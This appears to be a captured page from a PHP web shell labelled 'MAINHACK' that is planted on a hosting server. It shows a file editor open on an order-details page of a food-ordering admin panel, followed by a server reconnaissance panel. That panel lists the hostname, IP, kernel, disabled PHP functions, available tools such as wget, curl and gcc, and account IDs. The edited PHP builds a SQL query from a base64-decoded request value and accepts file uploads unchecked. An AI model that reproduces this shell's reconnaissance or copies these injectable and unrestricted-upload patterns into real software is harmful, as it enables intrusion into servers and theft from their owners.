[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: repeat_order.php
<?php include 'header.php'; $order_id=base64_decode($_REQUEST['bid']); ?> <?php $stmt1=$show->readwithdata('place_order','order_id',$order_id); $num1=$stmt1->rowCount(); if($num1>0){ while($row=$stmt1->fetch(PDO::FETCH_ASSOC)){ $address=$row['address']; $amount=$row['amount']; $status=$row['status']; $date=$row['date']; $pstatus=$row['pay_status']; $user_id=$row['user_id']; } } $stmt12=$show->readwithdata('bill','order_id',$order_id); $no_of_order=$stmt12->rowCount(); ?> <div class="main-panel"> <div class="content"> <div class="container-fluid"> <div class="row"> <div class="col-md-12"> <div class="card"> <div class="card-header"> <div class="card-title">Order Details</div> </div> <?php $count=1; $st="select *,bill.product_id,bill.id as bill_id from bill inner join place_order on bill.order_id=place_order.order_id where bill.order_id='".$order_id."'"; //echo $st; $stmt=$con->prepare($st); $stmt->execute(); $num = $stmt->rowCount(); if($num>0){ $count=1; while ($row = $stmt->fetch(PDO::FETCH_ASSOC)){ extract($row); $pro_id=$row['product_id']; $stmt1=$show->readwithdata_clause('menu_items','menu_id',$pro_id,'limit 1'); $row1=$stmt1->fetch(PDO::FETCH_ASSOC); $img=$row1['image']; $delivery_charge=$row['delivery_charge']; $gst=$row['gst']; $amt=$row['amount']; $bill_id=$row['bill_id']; $stmt_del=$show->readwithdata_clause('log_data','order_id',$order_id,'limit 1'); $row_del=$stmt_del->fetch(PDO::FETCH_ASSOC); $delivery_status=$row_del['state']; //echo $date_of_exchange; $today=date('d-m-Y'); ?> <div class="row"> <div class="col-md-2 col-sm-4 col-xs-3"> <img src="../product_img/<?=$img?>" class="img-responsive img-thumbnail" alt="logo" style="width: 80%;"> </div> <div class="col-md-6 col-sm-8 col-xs-9"> <?php $stmt3=$show->readwithdata_clause('food_maker','maker_id',$row['maker_id'],'limit 1'); while($row3=$stmt3->fetch(PDO::FETCH_ASSOC)){ ?> <h5>Order Details</h5> <p class="order-p-rj"><strong>Business Name</strong>: <?=$row3['title'];?> </p> <p class="order-p-rj"><strong>Business Name</strong>: <?=$row3['title'];?> </p> <?php } ?> <hr> <h5>Order Details</h5> <p class="order-p-rj"><strong>Product Name </strong>: <?php echo $row['product_name']; ?> </p> <p class="order-p-rj"><strong>Total Amount</strong> : Rs <?php echo $row['total']; ?> | Qty : <?php echo $row['quantity']; ?></p> <p class="order-p-rj"><strong>Product Amount</strong> : Rs <?php echo $row['amount']; ?> </p> <p class="order-p-rj"><strong>Delivery & Taxes</strong> : Rs <?=$delivery_charge+$gst?></p> <p class="order-p-rj"><strong>Delivery Status</strong> : <?php echo $delivery_status; ?></p> </div> <div class="clearfix"></div> </div> <?php } }?> </div> <!-- //first section --> </div> </div> </div> <!-- //product right --> </div> <?php if(isset($_POST['sub'])){ if(file_exists($_FILES['uploadImg']['tmp_name']) || is_uploaded_file($_FILES['uploadImg']['tmp_name'])) { $img=$show->imageEdit($_FILES['uploadImg']['name']); move_uploaded_file($_FILES['uploadImg']['tmp_name'],"../product_img/".$img); }else{ $img='';} $data = array( 'title' =>htmlspecialchars($_POST['title']), 'content' =>htmlspecialchars($_POST['content']), 'image'=>$img, 'date'=>date('Y-m-d'), ); print_r($data); if($show->insert('post',$data)){ echo '<script> setTimeout(function() { swal({ title: "Thank You !", text: "Your blog post has been submitted.", type: "success" }, function() { window.location = "'.$_SERVER['REQUEST_URI'].'"; }); }, 1000); </script>'; //echo "<script>swal('Thank you for Registration.');window.location.href='".$_SERVER['request_uri']."';</script>"; } } ?> </div> </div> </div> </div> </div> <?php include 'footer.php'; ?>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server05.hostinghome.co.in
Server IP: 192.168.74.40
PHP Version: 7.4.33
Server Software: Apache
System: Linux server05.hostinghome.co.in 3.10.0-962.3.2.lve1.5.81.el7.x86_64 #1 SMP Wed May 31 10:36:47 UTC 2023 x86_64
HDD Total: 1.95 TB
HDD Free: 678.16 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: itsweb
User ID (UID): 1619
Group ID (GID): 1621
Script Owner UID: 1619
Current Dir Owner: 1619